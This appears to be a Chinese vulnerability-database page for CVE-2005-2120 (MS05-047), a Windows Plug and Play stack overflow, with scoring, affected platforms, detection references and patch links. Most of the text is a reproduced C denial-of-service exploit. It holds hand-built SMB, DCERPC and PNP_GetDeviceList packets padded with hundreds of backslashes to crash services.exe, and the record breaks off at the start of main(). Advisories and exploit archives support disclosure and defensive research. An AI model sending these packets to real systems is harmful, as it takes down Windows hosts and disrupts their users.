CVE-2005-2120
CVSS6.5
发布时间 :2005-10-13 06:02:00
修订时间 :2008-09-10 15:41:06
NMCOEPS    

[原文]Stack-based buffer overflow in the Plug and Play (PnP) service (UMPNPMGR.DLL) in Microsoft Windows 2000 SP4, and XP SP1 and SP2, allows remote or local authenticated attackers to execute arbitrary code via a large number of "\" (backslash) characters in a registry key name, which triggers the overflow in a wsprintfW function call.


[CNNVD]Microsoft Windows即插即用UMPNPMGR.DLL wsprintfW溢出漏洞(MS05-047)(CNNVD-200510-080)

        Microsoft Windows即插即用(PnP)允许操作在安装新硬件时能够检测到这些硬件。
        Microsoft Windows 2000 SP4, XP SP1 SP2 中的即插即用服务存在栈溢出漏洞。允许攻击者通过在注册表子键中构建带有多个'\'来触发wsprintfW函数溢出。
        Microsoft Windows即插即用功能中存在缓冲区溢出漏洞。UMPNPMGR.DLL用于管理即插即用服务,为访问设备管理和通知服务提供RPC接口。UMPNPMGR代码包含有对wsprintfW的调用,用于在栈缓冲区中创建各种格式化字符串。在有些情况下仅验证用户输入是否相当于HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum已有的子键。尽管这个注册表分支受到保护,但通过提供任意长度的连续反斜线(如"HTREE\ROOT\\\\0\\\\\\\\")可以欺骗注册表安全性。
        UMPNPMGR接口{8D9F4E40-A03D-11CE-8F69-08003E30051B}中的PNP_GetDeviceList(opnum 10)和PNP_GetDeviceListSize(opnum 11)函数都存在这个漏洞。对于前者,攻击者可以通过传送有效的子键名称到达有漏洞的wsprintfW调用;而对于后者,由于SplitDeviceInstanceString标记字符串的方式,函数必须接收到有空的第二个(如"HTREE\\ROOT\0")或第三个(如"HTREE\ROOT\\0")组件的密钥名称才能到达GetDeviceInstanceListSiz中有漏洞的wsprintfW调用。
        成功利用这个漏洞的攻击者可以完全控制受影响的系统。请注意这个漏洞与MS05-039中的即插即用漏洞无关。

- CVSS (基础分值)

CVSS分值: 6.5 [中等(MEDIUM)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: [--]

- CPE (受影响的平台与产品)

cpe:/o:microsoft:windows_xp::sp2:tablet_pcMicrosoft windows xp_sp2 tablet_pc
cpe:/o:microsoft:windows_2000::sp4::fr
cpe:/o:microsoft:windows_xp::sp1:tablet_pcMicrosoft windows xp_sp1 tablet_pc

- OVAL (用于检测的技术细节)

oval:org.mitre.oval:def:1519Plug and Play User Data Validation Vulnerability (WinXP,SP2)
oval:org.mitre.oval:def:1328Plug and Play User Data Validation Vulnerability (WinXP,SP1)
oval:org.mitre.oval:def:1244Plug and Play User Data Validation Vulnerability (Windows 2000)
oval:gov.nist.fdcc.patch:def:214MS05-047: Vulnerability in Plug and Play Could Allow Remote Code Execution and Local Elevation of Privilege (905749)
oval:gov.nist.USGCB.patch:def:214MS05-047: Vulnerability in Plug and Play Could Allow Remote Code Execution and Local Elevation of Privilege (905749)
*OVAL详细的描述了检测该漏洞的方法,你可以从相关的OVAL定义中找到更多检测该漏洞的技术细节。

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2120
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2005-2120
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200510-080
(官方数据源) CNNVD

- 其它链接及资源

http://www.us-cert.gov/cas/techalerts/TA05-284A.html
(VENDOR_ADVISORY)  CERT  TA05-284A
http://www.kb.cert.org/vuls/id/214572
(VENDOR_ADVISORY)  CERT-VN  VU#214572
http://www.securityfocus.com/bid/15065
(PATCH)  BID  15065
http://www.microsoft.com/technet/security/bulletin/ms05-047.mspx
(VENDOR_ADVISORY)  MS  MS05-047
http://www.eeye.com/html/research/advisories/AD20051011c.html
(VENDOR_ADVISORY)  EEYE  AD20051011c
http://securitytracker.com/id?1015042
(PATCH)  SECTRACK  1015042
http://secunia.com/advisories/17166
(VENDOR_ADVISORY)  SECUNIA  17166
http://www.osvdb.org/18830
(UNKNOWN)  OSVDB  18830
http://support.avaya.com/elmodocs2/security/ASA-2005-214.pdf
(UNKNOWN)  CONFIRM  http://support.avaya.com/elmodocs2/security/ASA-2005-214.pdf
http://securityreason.com/securityalert/71
(UNKNOWN)  SREASON  71
http://secunia.com/advisories/17223
(UNKNOWN)  SECUNIA  17223
http://secunia.com/advisories/17172
(UNKNOWN)  SECUNIA  17172

- 漏洞信息

Microsoft Windows即插即用UMPNPMGR.DLL wsprintfW溢出漏洞(MS05-047)
中危 缓冲区溢出
2005-10-13 00:00:00 2006-03-09 00:00:00
远程※本地  
        Microsoft Windows即插即用(PnP)允许操作在安装新硬件时能够检测到这些硬件。
        Microsoft Windows 2000 SP4, XP SP1 SP2 中的即插即用服务存在栈溢出漏洞。允许攻击者通过在注册表子键中构建带有多个'\'来触发wsprintfW函数溢出。
        Microsoft Windows即插即用功能中存在缓冲区溢出漏洞。UMPNPMGR.DLL用于管理即插即用服务,为访问设备管理和通知服务提供RPC接口。UMPNPMGR代码包含有对wsprintfW的调用,用于在栈缓冲区中创建各种格式化字符串。在有些情况下仅验证用户输入是否相当于HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum已有的子键。尽管这个注册表分支受到保护,但通过提供任意长度的连续反斜线(如"HTREE\ROOT\\\\0\\\\\\\\")可以欺骗注册表安全性。
        UMPNPMGR接口{8D9F4E40-A03D-11CE-8F69-08003E30051B}中的PNP_GetDeviceList(opnum 10)和PNP_GetDeviceListSize(opnum 11)函数都存在这个漏洞。对于前者,攻击者可以通过传送有效的子键名称到达有漏洞的wsprintfW调用;而对于后者,由于SplitDeviceInstanceString标记字符串的方式,函数必须接收到有空的第二个(如"HTREE\\ROOT\0")或第三个(如"HTREE\ROOT\\0")组件的密钥名称才能到达GetDeviceInstanceListSiz中有漏洞的wsprintfW调用。
        成功利用这个漏洞的攻击者可以完全控制受影响的系统。请注意这个漏洞与MS05-039中的即插即用漏洞无关。

- 公告与补丁

        目前厂商已经发布了升级补丁以修复此安全问题,补丁获取链接:
        http://www.microsoft.com/technet/security/bulletin/MS05-047.mspx
        http://www.microsoft.com/downloads/details.aspx?FamilyId=1559E44A-DDEE-4C86-BF02-A6C3B9BEEE0C
        http://www.microsoft.com/downloads/details.aspx?FamilyId=FFDB8AB7-F979-41B4-9625-EA51CD503258

- 漏洞信息 (1271)

MS Windows Plug-and-Play (Umpnpmgr.dll) DoS Exploit (MS05-047) (2) (EDBID:1271)
windows dos
2005-10-24 Verified
0 Winny Thomas
N/A [点击下载]
// tested and approved /str0ke

/* Program: Denial of Service attack for MS UMPNPMGR PNP_GetDeviceList
 * Author: Winny Thomas
 * Vulnerability: no length checking on passed parameter to PNP_GetDeviceList in UMPNPMGR.dll
 * Note: The code crashes services.exe on the target, effectively bringing down the target against which its run.
 * This code is for educational/testing purposes by authorized persons on networks systems setup for such purposes
 * The author shall bear no responsibility for any damage caused by using this code.
*/

#include <stdio.h>
#include <stdlib.h> //added /str0ke (we don't want errors)
#include <string.h> //added /str0ke (memcpy loves me)
#include <netinet/in.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <sys/socket.h>

char SMB_Negotiate[] =
"\x00\x00\x00\x85\xFF\x53\x4D\x42\x72\x00\x00\x00\x00\x18\x53\xC8"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFE"
"\x00\x00\x00\x00\x00\x62\x00\x02\x50\x43\x20\x4E\x45\x54\x57\x4F"
"\x52\x4B\x20\x50\x52\x4F\x47\x52\x41\x4D\x20\x31\x2E\x30\x00\x02"
"\x4C\x41\x4E\x4D\x41\x4E\x31\x2E\x30\x00\x02\x57\x69\x6E\x64\x6F"
"\x77\x73\x20\x66\x6F\x72\x20\x57\x6F\x72\x6B\x67\x72\x6F\x75\x70"
"\x73\x20\x33\x2E\x31\x61\x00\x02\x4C\x4D\x31\x2E\x32\x58\x30\x30"
"\x32\x00\x02\x4C\x41\x4E\x4D\x41\x4E\x32\x2E\x31\x00\x02\x4E\x54"
"\x20\x4C\x4D\x20\x30\x2E\x31\x32\x00" ;

char SMB_Session_setup_ANDX1[] =
"\x00\x00\x00\xA4\xFF\x53\x4D\x42\x73\x00\x00\x00\x00\x18\x07\xC8"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFE"
"\x00\x00\x10\x00\x0C\xFF\x00\xA4\x00\x04\x11\x0A\x00\x00\x00\x00"
"\x00\x00\x00\x20\x00\x00\x00\x00\x00\xD4\x00\x00\x80\x69\x00\x4E"
"\x54\x4C\x4D\x53\x53\x50\x00\x01\x00\x00\x00\x97\x82\x08\xE0\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x57\x00\x69\x00\x6E\x00\x64\x00\x6F\x00\x77\x00\x73\x00\x20\x00"
"\x32\x00\x30\x00\x30\x00\x30\x00\x20\x00\x32\x00\x31\x00\x39\x00"
"\x35\x00\x00\x00\x57\x00\x69\x00\x6E\x00\x64\x00\x6F\x00\x77\x00"
"\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x30\x00\x20\x00\x35\x00"
"\x2E\x00\x30\x00\x00\x00\x00\x00";

char SMB_Session_setup_ANDX2[] =
"\x00\x00\x00\xDA\xFF\x53\x4D\x42\x73\x00\x00\x00\x00\x18\x07\xC8"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFE"
"\x00\x08\x20\x00\x0C\xFF\x00\xDA\x00\x04\x11\x0A\x00\x00\x00\x00"
"\x00\x00\x00\x57\x00\x00\x00\x00\x00\xD4\x00\x00\x80\x9F\x00\x4E"
"\x54\x4C\x4D\x53\x53\x50\x00\x03\x00\x00\x00\x01\x00\x01\x00\x46"
"\x00\x00\x00\x00\x00\x00\x00\x47\x00\x00\x00\x00\x00\x00\x00\x40"
"\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x06\x00\x06\x00\x40"
"\x00\x00\x00\x10\x00\x10\x00\x47\x00\x00\x00\x15\x8A\x88\xE0\x48"
"\x00\x4F\x00\x44\x00\x00\xED\x41\x2C\x27\x86\x26\xD2\x59\xA0\xB3"
"\x5E\xAA\x00\x88\x6F\xC5\x57\x00\x69\x00\x6E\x00\x64\x00\x6F\x00"
"\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x30\x00\x20\x00"
"\x32\x00\x31\x00\x39\x00\x35\x00\x00\x00\x57\x00\x69\x00\x6E\x00"
"\x64\x00\x6F\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00"
"\x30\x00\x20\x00\x35\x00\x2E\x00\x30\x00\x00\x00\x00\x00";

char SMB_TreeConnect_ANDX[] =
"\x00\x00\x00\x58\xFF\x53\x4D\x42\x75\x00\x00\x00\x00\x18\x07\xC8"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFE"
"\x00\x08\x30\x00\x04\xFF\x00\x5A\x00\x08\x00\x01\x00\x2D\x00\x00";

char SMB_NTCreate_ANDX_Request[] =
"\x00\x00\x00\x66\xff\x53\x4d\x42\xa2\x00\x00\x00\x00\x18\x07\xc8"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xff\xfe"
"\x00\x08\x40\x00\x18\xff\x00\xde\xde\x00\x10\x00\x16\x00\x00\x00"
"\x00\x00\x00\x00\x9f\x01\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x40\x00\x00\x00"
"\x02\x00\x00\x00\x03\x13\x00\x00\x5c\x00\x62\x00\x72\x00\x6f\x00"
"\x77\x00\x73\x00\x65\x00\x72\x00\x00\x00";

char DCERPC_Bind_RPC_Service[] =
"\x00\x00\x00\x9A\xFF\x53\x4D\x42\x25\x00\x00\x00\x00\x08\x01\xC0"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xFF\xFE"
"\x00\x08\x01\x00\x10\x00\x00\x48\x00\x00\x00\x48\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x52\x00\x48\x00\x52\x00\x02"
"\x00\x26\x00\x00\x40\x57\x00\x00\x5C\x00\x50\x00\x49\x00\x50\x00"
"\x45\x00\x5C\x00\x00\x00\x05\x00\x0B\x03\x10\x00\x00\x00\x48\x00"
"\x00\x00\x00\x00\x00\x00\xD0\x16\xD0\x16\x00\x00\x00\x00\x01\x00"
"\x00\x00\x00\x00\x01\x00\x40\x4E\x9F\x8D\x3D\xA0\xCE\x11\x8F\x69"
"\x08\x00\x3E\x30\x05\x1B\x01\x00\x00\x00\x04\x5D\x88\x8A\xEB\x1C"
"\xC9\x11\x9F\xE8\x08\x00\x2B\x10\x48\x60\x02\x00\x00\x00";

char PNP_GetDeviceList_Request[] =
"\x00\x00\x08\x84\xff\x53\x4d\x42\x25\x00\x00\x00\x00\x18\x07\xc8"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xFF\xFE"
"\x00\x08\x80\x01\x10\x00\x00\x30\x08\x00\x00\x00\x10\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x54\x00\x30\x08\x54\x00\x02"
"\x00\x26\x00\x00\x40\x41\x08\xa2\x5c\x00\x50\x00\x49\x00\x50\x00"
"\x45\x00\x5c\x00\x00\x00\x00\x00\x05\x00\x00\x03\x10\x00\x00\x00"
"\x30\x08\x00\x00\x01\x00\x00\x00\x18\x08\x00\x00\x00\x00\x0a\x00"
"\x44\xf7\x12\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00"
"\x48\x00\x54\x00\x52\x00\x45\x00\x45\x00\x5c\x00\x52\x00\x4f\x00"
"\x4f\x00\x54\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00"
"\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00"
"\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00"
"\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00"
"\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00"
"\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00"
"\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00"
"\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00"
"\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00"
"\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00"
"\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00"
"\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00"
"\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00"
"\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00"
"\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00"
"\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00"
"\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00"
"\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00"
"\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00"
"\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00"
"\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00"
"\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00"
"\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00"
"\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00"
"\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00"
"\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00"
"\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00"
"\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00"
"\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00"
"\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00"
"\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00"
"\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00"
"\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00"
"\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00"
"\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00"
"\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00"
"\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00"
"\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00"
"\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00"
"\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00"
"\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00"
"\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00"
"\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00"
"\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00"
"\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00"
"\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00"
"\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00"
"\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00"
"\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00"
"\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00"
"\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00"
"\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00"
"\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00"
"\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00"
"\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00"
"\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00"
"\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00"
"\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00"
"\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00"
"\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00"
"\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00"
"\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00"
"\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00"
"\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00"
"\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00"
"\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00"
"\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00"
"\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00"
"\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00"
"\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00"
"\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00"
"\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00"
"\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00"
"\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00"
"\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00"
"\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00"
"\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00"
"\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00"
"\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00"
"\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00"
"\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00"
"\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00"
"\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00"
"\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00"
"\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00"
"\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00"
"\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00"
"\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00"
"\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00"
"\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00"
"\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00"
"\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00"
"\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00"
"\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00"
"\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00"
"\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00"
"\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00"
"\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00"
"\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00"
"\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00"
"\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00"
"\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00"
"\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00"
"\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00"
"\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00"
"\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00"
"\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00"
"\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00"
"\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00"
"\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00"
"\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00"
"\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00"
"\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00"
"\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00"
"\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00"
"\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00"
"\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00"
"\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00"
"\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00"
"\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00"
"\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00"
"\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00"
"\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00"
"\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00"
"\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00"
"\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00"
"\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00\x5c\x00"
"\x5c\x00\x00\x00\x00\x08\x00\x00\x01\x00\x00\x00";

char *setup_tCon(char *UNC, char *ptr)
{
       int pindex = 0, uindex = 0, len;

       len = strlen(UNC);
       while (uindex < len) {
               if ((pindex % 2) != 0) {
                       ptr[pindex] = '\x00';
                       pindex++;
                       continue;
               }

               ptr[pindex] = UNC[uindex];
               uindex++;
               pindex++;
       }

       ptr[pindex] = '\x00';
       pindex++;
       ptr[pindex] = '\x00';
       pindex++;
       ptr[pindex] = '\x00';
       pindex++;
       ptr[pindex] = 'I'; pindex++; ptr[pindex] = 'P'; pindex++; ptr[pindex] ='C'; pindex++;
       ptr[pindex] = '\x00';
       pindex++;
       ptr[pindex] = '\x00';
       pindex++;
}

int main(int argc, char *argv[])
{
       struct sockaddr_in target;
